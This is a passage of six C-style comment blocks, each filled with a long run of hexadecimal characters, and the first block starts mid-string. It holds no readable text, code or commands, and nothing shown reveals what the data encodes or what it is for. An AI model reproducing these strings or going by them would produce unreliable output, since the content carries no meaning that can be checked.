36cb8c690918f1a8817cd9fd6ae41defc9adc4de8460b3a06ccba9f5e9f862cb5f401e9052fce60771977bfa2af38c86ffa3135dc4f162c789a086d8c10490e99e736d8407137d90b08cf50d1db91e9ef5f0637bd08ee5e135c0331d86964e27593ed921a6e14db90e13640037105f56eaaa5044929623c0e3e567a40940ce8c5874fad28b92390aebc9a0b31edddb11b8a7df083332b83248847a40859570cb6b08cd422f94cb1e833600d97f9906c27001c61ceb79d08bfaefc3ec4ec6d25539cb6867ac9d006d31f746d5e2563376197a2b5f0c1592ea0fc3b210da3a6dca0c7d91bfb719b172b68172813b8a828181aeb0f21464ff87920ab9eaae46b9bdead4b8f661135831e99ac87555bd2782e0784c5d572d9ac68905b00e6d229b997b46f567aeafc732e5c83b8f239443daef2322abae7aad992435a56c4d7f967b2f6d5255b1026a0004275e81e81bb0c3af0a7b129ee0e274e374931bd9a7a3a0aa7cca3648117e8980c61e4ee2400e10a063de3428e3e383d5fdef84d9426dba38debd9f811c18c4b7518cf19ca45ae50b59986d95985e3e9269422505146eb33be4c1ca7f8638f7dbb0777096d1a9db8cec8b04f3f35e936ad048d4c72d06d74cc68f204e013c30b630f80ca57d263db5021237053fe5c06d04b3d044d97b21cfcdc614f6f031f16223caf0c734b7d835e8377541348196faedfecd9015aa6b17d839e06470cc53592712109a1325b68f0475ff76917459c43457f1cd6481c69349b04062225fe02e8ec1a93fc411a6db759d0998d50fcc590c854d4e9e308094a43839078f068f1233125380ce093b8e5c918b2db958e354acc62b94bd133fd5574690e6f708e9e54b5d78e27c7f36b488b1dbbd4c9732c6dc65720fe81b57fd7e265453d1a2fcdf21bdaa9deb08611096783fe2b02be6326dec09c61e3a8ee7c601b6c881d8b5634ee16b7e3b7e327f9c0609ac6234a8ca2be3e386253e707658e9640bdce3c7529e2453211a93247b160e166b85fe9b47c13cc3fb6512f52c8a0ed19b0bbfab7e0852e490dccb0f1b644c37412bd7bb98fd691977d7aa6721af6eedadd35647ae51d5496b663f865bc0d6fa353766fdb93b4ab553987b4a3b81e21a7ebcd3570672438f4ff3112a04da822bd36c637884a3dd6a6f01ed5d7abd8df17eb59a85623d38e875104989c50bf8f08b710b51167ee3199b196401df9657472bb9af88b2d02ad9b2353fb837a4f108fa344329ae8bc9c61f0013cb86291615fa99dd8789b6a18efad396ad1eb3b5b92199e4e0c44b0c43cc6cae7714b700c3b1f19186df5ae60539b50c8110ea46949f9c27954b0f89f3a7766e193fde07fcbd6a2843371f414857a3ad057e191b74d1b846e18716d0d138f275d29ad2521a2bcbec66276fbfe706c65ff5492f49fcbfef62bafea6e8b2cb808d1198e111b4b6599dece50fc99f978dc85f0a511dcfc0cb72eeeda0eebe270aa19eeac4117a9e0b680da5a46830012cde16f976a2238d09f64a05f2ee44161ef070e97b4ebb83d023e6ffb8a5369f8030960782fa66650fb3a6c6d1ffbe412c6994d7a71903e588314a272b00a0afbadbc586c0ecbb11d9cc6ffb4af91b54e0a9c8dd428ada987e1987677a98d0e13fdf8b55be84bbfd46d461a411c14298b19cc5cbad6b6ae7b345fb0a3990417426a2ea92f96a3c7c2063d1a0c221df42b13b0286814cb0a5e0d8882bd8aae085e2db2faab949126ae0155dd5ed56d2aad5567592c89b4a1ff4ba26e9c631d730ee41f0db6db1ec2dad3934e8c541edaefed1bf0492afbd8f937164979ed9bf68d85f536e00d4cb920ada3c7cc19adefc6a91f7ee13d99e8b38bddb5e155fc30ca46e4e7740313a3fbcfe7c46f2a276256e42edba0068065776b6e51054a0ac8a877ff5014b965c427c09bfef2cbccfd71b73b5d0c13604a189d9e15adc70df42f5951fbeeca45ee183fdd5eab8124363613be0f934a3075c105a2bc306ee49d04a282e0c0e8bf85b6*/
/*da027cd8578923a203eda9efa016a44b75a5c038371ce98edf12c93df9044898b4b8e098641e8c0f07af58bfbe1f19aedc55a6fe26e1382ceeb20346e62dac5304ed7636239cd5b4d1b57dec891069cf6384ec94420ec35f74dd6cd1f9be3f3c4ab35f8772fa5d0afa0990df18fb13d30a0d82afd5cf940928927c3334d1559e8cfad7d90aa3b817251e8fa39019dd7ba48879bf434c48b308869b34b4572f47e74addbc6c68e5f170c7d1fd9255aa7ac56b3fc289a69cb57f37697ec5f37702d158656c3992dd78182038ff01dfe4c1563689c399bf3449043da3371fb48bf2384d408b592f9e420d11ff0822e27e8ed93d4569bf238877ae6728603a08e3266e1f2163a634f04cac98f4bf01cdee35ce35cb329c40f0f57fb6570b9b550e8258044914ac28656edbc3136db7488fa839d376144030174782e0231c1f0773bb3fa143c1d4d5399e68f0dc892bc8d4065209527ca483f6962fac6256ca9ebd185b2dcbaf4621a849cb5e61d7ace0e0c49cd3c90d3619cfd0595aa6a0a889ecc557b9bd9385ad9d604a6adf1b4e6a00fb3857f63ec2cf71280125b947759fb269a63d53d2d027174f01f1ab515cb9609b03defcf96a73db15cc1750b98c844e2a5f1b5e2d5c2bd3095b4ec19e693c00d053daf009b4e739a69a5fc98f36ffa9a0feb69de8a4513162935e5e6b448dc997222c43fb661f6c081d6c085fa016ffabd6767692fee2ac47e6905fc559c7453ca9de1bae9750d043481870e17420e492a919ec3825c2b69f3e55728415a415a7c70918ed595a4335e3fa48825f2c1637252bd2f5d64b5556e94de36c1de01b67f56b3686bcf5d8337da440ec5ae1a29273a5793f9e16ebfa5951dc576238dca05a860fc3ab2f61839b08447c7258f3733cd4be860e43ab50f3ac9018f116097e7a41dbb118d408c3236804a057f1fb9a2a0284b355abbe8b1c476a3277b7b184100d84e464fc0828f83758643aff8cd336cb98c66d4427f907e1085abd44f01bec879e330d9977ece4c3600d388066e31d076f7d2ab7dd429fa54240ef51b114e2b8ef91f93039ac339294b5757386b220e431fb06249aceda9e81aab530c9b630c5ded985518f73ce2cc4a08c86d89105e4da3114e795ba155aefe78c80cfdc4108e2bd6dfe707ce09976488052387f03fb8c98b92336610d12f26036659031cf86b4202e9de0f8b137f8f2bcd8e0da9e9c1e318b353bbf13b5c471bcc949f22d41c87443242bb30b12304dbf9a4261416b5477060435a8ca14aaa84f4f1cb633511471efffb180e009ae8c0dfb257152516946513fa504d2c673ec087014417a2e0e45cd4dbfee4eb5251b0628a3915364db008974211a145fb05fba7f2ca1da38a99ff2375a70103521af2fcc9b20c8fc1aee6391a1248b01aa54726eebbf2d5e931e28f6e08d53aa4c553a639c8ab35f85437e97c989c20efae83f3960db38f201bacbd040f34027dd91f05915436cb9407011eabfedaf5a48869ccd8046e40c2447475a6812e90c4acaec73e660cde23f68cf158fe2fb41e4f0b77ef74a726a7ac24e264ca62aea6e8ab240c3eff16dd08db78649a3196edc76cc9c13ffa499fed2232b037fe676eb1a30651ba1ac7eb8d69405ce849b84ed19b43b4ebc49897aa278fba7865e0354c6533714581a398357f0d6cbbf069d42726091fd401de1b0be1b132b2e6b53388bcfa83ed4ed399434dd38fdfaf2892c48c2bde286eb105788d770d61115a2daa03397d41978ebba85d073dd5b0e62595710d62b647e32b2e934c414090fba984944e2c73b7d14591745f2aff4342d40c9622a3cf2440a231d93ddb8e36f80f5ad7c3633786c13b1c23aae47cb91a0bea2649a1de837facd94f0b1e8dc2f31eb2ea63d344d59bb4b20cbc008dbdf3a8b13c75b6dd1b6e126b73ae6e1600dd330c2cd88144cbc63c4c93b317de9e3d65d9949022faad1d51fb66fd92a2642af1a629df36f7bb0319a8fa0ed07d0c21059f73fe98a4a237b6c27de59366f8b88c596065a1cec1546dfcfd56249a2707d571f73aca7a61408ced4fb9eaede756f4ac73d1e04971e3957eae9213d12aca9261923a6e0975f77b48c5fc1249ab308fa88b637142e06c6cf9ce344987603abd489db4056165b4f178a8d3bfe69214ce856d89e1c28588c3ac24107bc90fa9367c8445918987ed69623ce20cbbb752874617bb431b658f34420d55ce1739b3b7e9c3e986a07823808ccdb143fee2798aa37957f17b405aa2dc1fd9daa7f247b26e7e23f883e47d1d7ed8566debb183023e41cd943fef8c5cd747248a97de79c08a0e2e76981d67b403d7faf6b10751dbb557c852b2f5a3c1119a6f430067325c22a3f44cbc90b4b37d23a629f857cbef75a688167d5d282f31c5339f118e72653193c03d929f05378deed95ae8589d157886f308b7b45b5d7d11ee214bd3f9e7b0cfde533e93678a3f3fe0abd203c7d108ade8cb9bc2269ee96a34999ba02041e07ccc5b8a4994ccbbdd59e9d7c3a50f0ea97f4d4b7164b6d4c98d4d4c6a0a32c49014fd1586518516731aa530e1d2e753aa02cec24f08ce1eb217a2cd8f5b3a31f515cf89c1a0a113ee010beb6e1c5c004d5f39e5e305bcddb354e1ed3050500bd983d8cda87362e44feef79e2e5c98ebc4f8685d062bbbab0c76d56700672bb322a0a5f5fd53b435a063c17565591ef83d872064efe8550ab81b1f7484e4ce9c97942fed15fea032881053c1d4c40edc17dce80c465386fe731bcefb6c0c2b6065829b4549dafb89f9ec76f70ce184558eb0ef71c61d5d2296e31c5bbf1e9622d4b355008*/
/*32f4781996acaabb8dfce32c07cb66d6af0a105738ab0cd0a34bb28b40d0fc001b2f263a4d22b384a04c33a6ba8a441c7aff8efa4a019ffee56a1579a02211ef36f5e8071ff274b8e71cb08369c24232aff92ac6542f696d552071165235a01362ead46153f82988a2b4a9fce2dff028f62a713a3fce38cf67356674f812499815ceae80e38a1f316eb3ba0c870c26005ecfab17eecafb3ff43b89771259fc3eec6c99eb4bdb6b64098e7ba0cd057960a2a7178da3f56ff6655c621e65031156ab8573a2d5ee656dc3bd58952551b0bb6bcba7b3b58884ab3e6077924a068db81eeae17833eaf8a245402d31aa4770c7cb0e87aae0a657de39134c722de8c26b1976e6766d17084e4ce6afa0bf658c777b40fcc04065cc287a40fcabe8acd382cf713a5d99b6b3b1db330e1b4d8c6d9d1a19491bf501a0d0cf5698b23016dd77efc8cbcd2fa9451498b5d23f01b6385c46105c8f6e60ad260e592d66774b09ff1dc5069a585414bc9f2dc5c39b8659f623cac1bff45dcd2cb80eaf95486743ece3a86feb38f26f5536ccd454969cf7f576d7ff94d0d487d167c6e15fb218e2f400f6f985adea018050920819af94e2c4348760bd435616d0fed42253f0d03b327971219ef27326fdd557ecbabb581b72dc890d88346f98beb63d4c0095b4a9d58eea2743371c65c38df01e7144d60c730c07f1dcae736ccc3c57f32e2ee6aa0eb2d1deb9d12c7893358d301ce2d6047dc6baba5a72b9003169495c494da0cec30ea910b3e614278f9a55edd0d8963c30755b2973f224438e6174a32f822d9368be549609c51ef1a1e150f85cb6bad558bd5d3d697818cf57f3c8a4727ba33afdf61a90ba3ab6c1603c843676ab1ce41670a9c740680eae27d03b7da757c02e392849e0426af5e44f941916786a258fa686b3913fdf10d674313d1f5c0c9fa436fd95fc87ec6aea43dd2359851ef2046b8d7a02a6ba577abb751efaae7f15ebc30b1b7dac1f8f3f52696ce5201f5623ebcd64669f295619e04cf91c5955f80c4c1bf534391f7a95daef579b81d1ba59bde0c2ee27fd18a697a7efd82538b1fa42d9016c4f631e6a7e34d6fc19da51df705bfec2b1e13b01b85fcb4ead1c3daa10394f3c3a3e93d143f2db0dad3e872a9506baaae1b3300838d5a8e1cda742d2e2f38fea784edbac37b24f23a6e1d818a7913ce23d40a09b3578e48fe4538feae389f2edc9b1d626df2342c54c2c687f805a81f9bcf6b93b8b5ed9028005ec0a4c2af3dad4edfd5e86005e2b7a5bfa3f6f641b67435cf1fe16d31e378aa42c433e4b06fe9042101a6d48c4fd0bd033f1801e3116dba8d6a56217471bc42fd80009df1f662c6a4f4588e4735bbd1d62e72df9095a4a1e9a70eb659141b039e5a3a85d1fff85735de75455e48ecebcc02bc6fadb34523184a8377d9357d3ae999454ac86227f482d053adcae75164f53d2f3a925a232da53a8f0669592fb101160da68b461d70697ec46f337e0defe743a74b297406a01ecb13403ba7246e1410e7b6a2d56e023d59853588cbb70e205d8fad62e8bf8b2712fde419e482b54472b21d51b596f2a79637526b34f0ebf7fd0c98b3a3d392df623f2d34216cd0ebc86fea341941bc0f803eeec0f8ce99749a11e1d2da4efcd3931ea79683ee6c8e829fa94021219d9222e8c2a8bc52fd07ca416e5b7556259329f0d2c03edab0fe9788d2e2aed0c98a39ca4b47ab75201c38375037481df31371555425381326771545c40cf9ccd773b40d9e8aac01a54493075e76affaf6f782d67cf616f0922198403e3ddc15f11db65ecaa669d8f7489c66b44638d5bd8c5df2b7135d2116af4602c94a7510c73c788d1906ac857a372214fe26b02abcb20d95e1949f06c750150e0c6d1201f5ecc85fd868e51328278a5803d8e96639a28fe88e2c0d1ac84abf5250ac023d6701a2a3891be4331b6ddc75ed9d9cf20509a21aa92c662e0e2fd63a50dca0ead52289febe1e8543b52ae28326da1aa20a250c3b56775b6ea72d25ab23a1439efd9af63240276415bfdf5faaef43ccc4ac0f30de08653371c603cfa2d290ddf231ed1f4a4842e7a2c7864df9569e343a16fd91a76252aaf69b432f12dc6330195c87640c24b4552e89fa9948514bb9f70bd0c82a2b5b6b2345b20ffee7ee8174691a7ea3d5c82c3e286f28a73717e6a247862e1548b40bc949e7644bcd96acf3f973d0edb3e2cb63ec96ec806479f65299086447ff13432dc261f796324f517f66bc1cf76a8bfd2faf83fed31c3990bdcf2ee7b0cf89bc6c53d54678b03d160adc8384a30b5af09fcf195c6561a0625a9acb317e650030b7b71bd7b288b6c17f366363acdf313e8c08818bd2ee4657b32f9f3e01d28b86858429ae9b6f8cb6693dd88f20e3a50636dcc2ba2611aa02b6dd1e00c0e960339c8f9d0dea0f157ee6338d4c6164062db6d3839a2bdadad4e1c0d6c795352370a19d1885a4222d29c78f9073b51107ddb74ccac64f12e6ef7badd3d545b7ecfd3ad98fda84034afe93029ff42de2b5952fd3033cd3c9744065d8e97cf324f0b5349f420f730e616c2a8e18f02ec790814d57aa0a4e8c8052ed40d95c9a137153643840e8c08f4a56b4e21038bf22756c22003e98a97cafe5012fbbc89b64eea98d1f0f3066678cde26455feeba8f428b7de908f2893fd5b4cf704d72b84b990cd296017153f70c288872bea3b59d79bc86063810d5b69a1b5eea7ad850f0aad7ae5e9250f56a4c9abbfc7cce43f3c13a33098c224f48c784e3d7ee32f5243f2cdf768f12f2dad49f0422b724763c831f90b61734841*/
/*3840d1a0000b7a85c9eecaa654c8a0eeba39a035d8576a3e9a60952954ee185018fceae9d0cbaa3f2fb7b8f2e031454ac21400a9c781abe888d9540414de9d2917c38abb6d86406704067fd49ab26f58353c173aae19d935fd9b496fdcc6f6c0f7fe219b02066ee414d730b53994d3aa3c4d7fac56b44b78e8122acad14a549c1f906b09d40a5acfa55d5d162721d50f4c5d9af0ec8fa57a5e53d7c95f8c51f1ddde6de6622982a18b530285ad2bb344b3dec8595976bfa5840d5a370153bd97012be9a7c659616d4b2e2822aca147d480d3d6a90934a2b29b025d1f591ce21061c85b2f5fea75e80ae508acc4ec545d5b9c60b2acdebe174056dc9aa15cb20fde7cf4e132aeb52aa6a5fbfd7f884e3817a7680aa3136244a3590bd664234242f58ba66b36d6b9a709d683d6a684e81534db0d47d87224c9c7e14ae1cc07b0051c1d57f602f1f4610e942dc10a94d230ce4197672441e66de0998696d0cd9edccc63104c0320f411720770946020c0f39e80fb6100232eabe65656fadeba0279dfd4e683ffe21af615417efb8dcaa01df09477f92463285053cdf7bd0bc888ab3d7ecd853acb04acca22c120c6cc5374e3c68ebce91dcbbac80b22f7e723bca0cb244a2c8cfabdfcadd941d0bc0617975656a10025ff417cd20f0adcbda82005e2ec9eda5230a52575a4b1b2299498e4e4f2bcf82aae3260edf59ffedd8ecda10440b99d5a76feaaa12d33b82349e8168c18ff2faef5da55d40c1e4fd37b69379bec526cde4d85ba244fff331515d5ea90f2bed885a7d4dc52dfa4dfde5625d5c136fb563889d4129ccc89a644b1ea39e8f04f46f97e2965b4ec149f8a57cb3443d4db5b71213f24bb3f62e0554c6855145f450a448e64ae320d14d02a8eae51871aa2705f81f88a915d79a861ecffe434722fe60389c4d3f276a42b35bf71ac5aa006a707aa31562bcac9541d2892b5e7002ee94857c94976ffbf9a819302ec8aa93498e092f23a830aeef4818b7391d6503c811aef30880765a6cdc3528e7134743b123880557a70eb552707d608630528878c679dc545071d1dd46278fd8b82d5457bfca06a650543296d4f1bdb27fcba4867420ecab38809c4287fb0c1d88381f7aa24478acc8ecf9e74d909bb1e25051e95568cd3176f6dee9a735993fca697602f7c3916d3711259bab829b7e4bd9e5993b4286c4434de45a7733af7c9953cf40c0083e3390f7cf44e52e495804dcd377a2fc3e021c8f556f5dd5b735009bae0b03af84742ab9c842674fc3df2906550fb7adb1563505f504e8b262bedc2f7c36390782696de45e00def8ffcb984ae47e41ed21211f0c199b08ae158f056d27447f3b4a273b920b8680cc8ae6541f9df4c737106bc23170ffe44d8451f6723b859ed46de64c3c0fd8a744f91a68daeb7595079c1d8654c8108bc36256be68f01f8fce3080ed10f61413756f0c532fea7e175706d3f6ff5950b74c81c8ce4179adfbdbb74112c36510dadeec7a13c568596a42946f3dda48ffeb361df3cc3616b6d0eb459f74987f137cfce3158024daefd9cea606d43d5a9e3800a972e1f70fa97ac2ff6e8dbda9b7a6c016dd68dc74fc466040c1eb0d2048e2804dc4c6ece2b8bd911f0b6421a88251b2df16dbbed36cc9797d417fcf09f4052e9f904a4f9348cbab0b6f0c5f83608af89d32a9f0dece3f12f734c31f3265cc78566773f3f5a82dc57255d907bcb856c9fd6301e9c54e85005ab3587d863ff582b88683591ef52fb2c7bba146cdae477e8f3981a0d4415ca76b67732fc5a3bd5b921eec33b0135f1249ecd28257462bac75ff69c30ceea2197887ff54654eea75fb8e1cf8d1fcf652ab0f1c21ba1dfcf4c83c6e79687b3a8f64a5ee0686d533de42be4c66108ad7d61070adf658fc6a078902c4b843605b93f5c78e653e387848a7b0e5ee752d33a355d09750b7682b3a308028ba24724a5419f90ea9c3ee00af84c8f7c9eaadace005d179132184897533fcf864447fddb64fde5661c930e1036a3f8e2be2c92d66e18bd88ce780f696d25d3a42035b4959e3467775a710c94a1a4272bd2fabc9fd49b2e3e2283b97f32304112e36b8a166b266f5ae083b562140d1c92dbcb1eeb5a1f3a5c56136bbec8303b2d3cfcc26a4206f22ef66af93ef43ba327fdb4943b9460b0199e87656789fde17c820d4aab4652c62ab2dff60f5b9220905541b39227eb00da78865ad6265495503b589773fa68ea9c6a407acc98d60e8c90e927db0aa466b9caf23d8bfd948e195f0a4b126f2ad9ea629c86e08d875844c7007a3c089bc990253ef84f34a95a463e05592d794aa80046b12aedece9bae52afef5be6278aa4fbe901d71c8c27d44e1d7a7719a0c9ac732389bfdbdcc13846ce080a76c6bb21abbe2c48f06e6d6c5bc6d49e71e00bba4a3bcc79d3b6ed0aa8e04044eebe8f6f76e8cff2e32bf61ef05b9940fe4df5b3b650506a99b04ded6bfcbb9b987d7178e6bc68c92625faabbcd51ba4b905db5eb52a33428ce8ca93583bc8d6200ec67beb5561f52eda93fe20bfcc81aad29db7d704ae7d8c60afbf017aa64ef475fc80e25fea399d7006115b444a2c7720af633d3ef295823e1ac273bd148a14d51f7616a3773e8f45e1cfe99e4adaef27b9913c0524568942ffc0807f8a71f515827eb0ea905211320c869a9935fc597e606b7ec45992b6e814d460621c72f23bcb56a92f4d7e0b7da590648e8767794c4792bdbaef2cc5a5b471525aeb28141662cfaf6041a5524390f289e1997cf393b813d04d0547cc2a28fe738ee005706ad3bf7d52ee2d8aa0a3d*/
/*f7b2b02f0213cd21ef65031a83c305c9a85ab3c988a6a91ec1995888ca54af6bf7d8b4e09af0e466e3e5d04e8ac5327fb5a32df3914c53a3d6ebe61b8e1b1ede7a37eb6ab7e208583fbf383419c6406b5a5758540ab36d0e4725d6fa8bc82a4efdb00bb8fed80389bd4c884a0a03d8cac681c586cdd8a528572df9dd71218bb3c5f796f4ab5ed54df839afe58cebfa39087b78b4ce1cf4d5fe1c850dcb3681c475569f8366f18c9c7059ff8b0d68fca5e007ec6526695a9860fe1048b71a65dded34c6420739d57d2d3bf3341cdc4cbca4758b6c6f4e275d28384970832c8d0f44487e2c2d38292e7bb2e7e013a222c68e1ac6d5c1e74dd8e1cb65272a3466636c46431b479094926e71f781b59f371a19695e8a6746dc60bf2242ffd05040efedb7009f98218aa52049a444ba3c6526b5a0edefc0849e5cfbf5f71eeb19b1845a9115cc476206023f16b9edec28ddfd5d0dc9cd52fd365d4c1d960c35d4064e9a9b55d90f43746c141bd888f85a919324200006483dad5344492c9da0ed27af12fa45fc42769c042bbbe294de81de6c985661110dd8cacdd26ca2eabc30ebe40865feb9c39d590173069c0db3f6878fb9d9b0e3d54023db06773070c796ee7bd2899c515e9f28d9f9744ea5e26c0e96f6e752d772048662b6c8b6ff11c72067f1e57b2633df60c08dad97c3edeea2c9c540f61696132a7ff10b5b8e2a8b5c072118766af339509a06290835b937e0e7a97965898a5a9ee05c90f125275f2c7174571785f61066587af356c8a87039ab0481a8092b97c47f4b9621a96247dd2e8eaeb1e794f7d221842f4cd72bdbf2e5bc3b1a11799178461eac52ab9aaccf66d178d14d8e67be75b7bf03ab8ef6be9f9e5e6b61531e2a6376b916965b2dcbd1a0d4844f452fb8a4919204f901cc5ceb1ea777c94aad6de8c38972ac78dd67229664a44663ff883618e8d3ae1f6d2e91d83bb04300f43159e4b558d4967cc5dd65b4942c89fffbe5f062f386ecb71d7aada2fb89a50b207ea3fcbdf4e7fa7b4fc1ac738cbae41ca4b941035dd50c3790bb30b1b36ee542a2673084fbba766830d22b8c41d8dd712f7c31cd1ed28045a3d90da3e6dc5064dec490e402cd4eb81a8fd63e5b54f62199e0aca430f2a0e706533fee034063c777db7cae0a125b5912c52ebeff95ffede5360fe612ba36059456332efc0b623c39517ff0259660f4184bd6e08d57393b3ddef3161f6f611f7e1f30373d69e9525ef59bc860996425fe92f5568578589fa2c4a2adc96ad62d6b20b2854e7924c79012943706275e3e33637b02e32ccc69b671d9c1e41a654094eaa4b23c650c72204bb4af1d9818e395cef2b26aecda8d66327f0071ad0cfba49d82efea384555736ae091b27fd2d13fef2f5c7cc30310c881bf0efa3fa9e7a7bebfef31eadea5e064b7b20e3c766926a5a7e3dbf129069d0d901083db65394d6050060ceff0cbf01503ac51559e6c2049c889362432b7ab9957688f281177338d7781fe4813f87df3f5fbd03c689be641826fcf64d1a93696b810bddaba7ea02afdf0c50f227fe0ca788dc4c3734c8461db09fed311428ba9237378aaa947d13799c290ad5449d3a41e43489a885a94db2cc289792b4dc28737a714faee90ba28684a10c12b8bfc6e91a4209ba2c0c5bb864415d67c286b8c6d563e151f6da9721c3900775e3871a6ae89b5e4930450926fb004b045874e2d0a6e579f14b3a3e360a3d1ca3d8558331c49a4a823bba1611f86f307a64289499ae6b33fc42d3aaed4b9db4dd9719e9cd8e7c60a094b3f707c7ad2f3e7561a9e5e7b70ad1992835c4dd26eb96ae40d99c4acda6686b52df106a835b4276d9b93fa1b74ff8c2b4b2477472dd987f101b60298a92f57eda89bd657e12862b21331b0c02280c907fc7b0b70a87508574ca48f3e6f544c26f1ec5db6006d9918d0466978bfa5cca3ed5742ddcfa9718803c46856e5696169958cd122ffe5bb66938dde90336cb1d07af8a4e68dcbc57ab51dd551f3be77e29f3b24b261a96906c297b2aaf141210ef61cac56c62f308ff524e212b434d056bdb8a1905697a326e5060adb96838667be8a01d4af46c568e0315bd7baeadee604cbf5d5f6545c7332810c5d3d0b4d8e6e325ab4f2b9a90b46fc4f18933355607d5fb91c08562344f092fbc59c2b8362cd8091395d699aab1f37952f9a7b8af67c17c6ba6fcafe4150a5ecdbdc74b628f60c92ce8d1ea928a9d23c626670da25256e1ae490e69d5921e950d7ed1ee5fbd78073bf04a270760d22c96611d5789c05be6ad5b525fa7f207a6e47aeb095b0630727ae03194657e32f8168040287b4c2c590377c0e45034da73bfda3f23236591f36c59b05d73ca6c089ca38cff2efa3caee782729306a46bcd44a30521d76314e15d3d28a708a3b810f2d2c35b93f944f295b1345d831f4e2c7f55451967d6e692e305872ab565a50a34deffbfcdd59a5f158c0d6112022705161ead5da1d537fe9be6c08d7cb8aef4da7ddc3ef9e705d0c272f40b6c03560b195e32d436659abce00f4bc371deb1f8b1151d5e9b9d7ee9a2b302036ca5df172a63899b9cd493c4f1311cf8369f72ec1ec5ae830108751a3abcac4d44a6f2dac9746c0f14bf931e394e24c6e183a826e0b5625668b8f6f1c4399d1b3acb9bca54a7c6383ae82b3922cec341bcf3b5331f8ff9df8fcc4f6e6d129f065054129306b39d0976c4c7b4bcc0ae8c1b2b0f10c0fada59590b5e3cd536333f2d354fb22a87a8320f1591f9b1294f7e64576890eb2d98475a9ae5dd9f6d5cc9e787a65c9f1deef3e1148*/
/*04d1d03389a82bc4f9d04def3ce0c1c4ddc8755908cfae8a32e283bcf991f75a2bcfccaedd88051cb43c7b8cd60c5eec2c394f76f58fd2ad6c328e1bb138f45eb171bf357850e6d9bad81a9ef43082b35d46192b83dd9865a7a6a8657e1b8a79e5b248701b5b59c51a542a6cf5570622d1a15d1b74bd3ceabc799a04e0f4a2d5a1f39eaf8c06ccba6e68677852f4b89228dd67ffb31b1b505ae4b340a0d19eb89e3be9994ea46a87420f87734d2242941f5ea8f247017d84629915023200f715abb2968cd6b603ffd6fe5367bece162c8269b3f6ab28b986e4814639c8ab5e5a913925c3846f713de393bd41d11c350fe21e55da5dc5cb057d30d0b8c35744d9fdf3539e971831f28df8554504214c79f14700c3970d6955cc8b041f4efe5f7c240052d60b07dd43483d5504cda2fb08e818c48b00f6cd30409ca9e0ef471a0ae8b1c2aa37416d5c9eaf2965082040ed5dc0c557c93af981998d372d1b013322c801df7d077928557f5b50b31c2003692843988c7e7965ab59e38dc9d57b99eedcfd175e0ae8b5fba7a8760a5677722df947fd58706f71f7a62575885abd8d6dfe37e41f2cdb992396ef8f14cca6bfeb9ceb74e36e95f0365c67f70e94aedf07f07bfd67e630b77edc0899aa2e8b556dd771038ce1d84228b4a262579525c10ae65b493464dbaf6f43ecc997932fe610272ef3c1888dfa412d720679aa9cf45c1db4d992ebaf05aab9a07fed2ede7f9284d76267618ded121c7a0fe3cedf86e32ba4db4239e6bc990b682a704669cd2d624ff66dd16fa24b61fab59cf83246efb47f5b70ee361245a6fdb985932846df6c8aca61c05c1a15f6ff8e17730f0c10375bb543e38b507b90ced600a2697508d888142be845be35203848fe4699446629ff6ddc16e250847b1130656ca3fa8efaecc9b65ee4cee371755f7864cab2bb8f85f77f702e26ac7dd852578ba693ca787b0a6edb072c1341c2394080632e9f3a8bd54e4955983434215fe7849fbda54f44258d6644d315373692ccaa4c643b2405b75381d693d72efa3b893ba8d7f4ca1cef9116df61a394381a6c215cfa7cdd13db3361228e1ee9f42191efa0aa311f909e1a0fa9ca5cfacb562d7da43d83c5bcf5783d99cea9ec58146988b139dd61c33f80e08eed62ceece2b88f852b211ba20aeb41a96aedba7d32e49ef0b6db38561610bf9b329e606693454077e77d87f7bccfe1e316acd2c4a26936d1be47a8666b97eea85ce0220c804600cbfb94fddcd63a5c8930be9a1795200b743157423db4bcf7edd3d200026cff90bd60418ca55d6258aa821b17477eaafce88ddc56de6f7fa93c647109dfb6e36c516dca15387afb2158fb999fe565563bed88261bf7c3567261207067ec50ae19757b6330262cc9d7197fc9fc794cd9e95536f37af27d256d6be2458adae468d6340c3f52104f5ca7de2e9c1829a02ba0ce967b18786852693f1aff7cb3a8c5cdf14f478eb9f7e233c3148cfbe934b2131302a01eb177312365c871735f3712e36d70416f7eed33f07cad34c4375d981a2e9213b7f2c708641cf01b2a2ae93126270dece54554a213f51144d3aa2b7f15eff042aabfe19ac6a9b235c90bf38025c18cc7485b14d85ca4bcb33bb90b3fdf393c220771eebe43aac45b4489ff009df9768225a37558c6a75c5ea1a63a85ee3d8fb37f0c1dba301078516aea61b6a9699b816e04fabf884ee4b6a22f4e03c790f4ed03eb2e99d2d60a9e6f9f5ce20f96ff603df9425695cc40e6de1967e00978af07c3ad1f995fbbc55ee793c448e1f9ce26ad310116a1fef3fba5185e6a0fe59878013b9c5a5bafe8372b5b40b640e1d6df63eddd4b68c23613a8144520fe1e0d07fd45a11e4d5abb8f2b337fdfb35cc9ccb561180dfae73451a6c180c2f8630fc4cdd018bc3175dc974ce738707c6495de967a505bcff4791a311bfcd90a551ab65aa806723e52326443d338656dc8e9ef22fe03761f0dd94c0efdd8d547c20c2587488e4314164a61adc3a2b108faafd16da4d299876473fcebb3286d83eb7a39d1e85d86857ccbb6a64375756336acef6c1106ca5f801f76bd2de4377da12a3a4424238b6ec4dc8b092bd516b3e7a1196602f357981fe5050a6c5da631dcd2253fb50d690df7ad6af41451d0922eb6bc84f7814f7dda0589ad8740e4eadd71be81d19a7d732fecadc43e4b7989f929d22a1e7ad71a1fad4f581ab3707e6bf439cb30ef403346923287272797f8d8852cb5bffe35e4a20e1b2aaf36663e19764b2730b2c5b3328f4b796f7255418a3923e76cfc203400efbc076bdf57e7646e15fc57b83723a0736bdfcff84ef0cfa9d8de286e03c377d07fad529be1c984b0b3f99518ea80509bd042853bdc6a35f9301155a49cecf809105c328e20a53b992ae430f5ad8dd2b26be502a1d64c6747627eed9c11a97d4cd7a59e455caecfb39123cd303be6542f9d2a37e2bb3d7c7248b269b6535357e2c4e619ac83af16154659c890a47832c3eb9f1c5b0aed26d8fd2cd856d2ee787f1e5a9530f90cc3bc56e36f87f8830b589e375bf5de1b0938bc0e78ed886e3b911f2a28ee921f50eba4b0a14ca0e506926d8242b3b0aea5b0b459b631b4707ad9fdb2c4561ec7dc29df1d90b7ee5919b2406890c4b1a35422a0083d97d1a19bb9a7e4df27f6c5f0e9ac366428aaa92cbc88f546dbd15056a0fc50ba0929dd8634109844190d33e0eb5c3fca2fb2b46acf357724e758381e2091394822d29820fe3da87f7d227f35d22f239b3abb901e0e5b3f41ecc1fee559813682479f8a3a41544ac35e6f18bdfac9*/
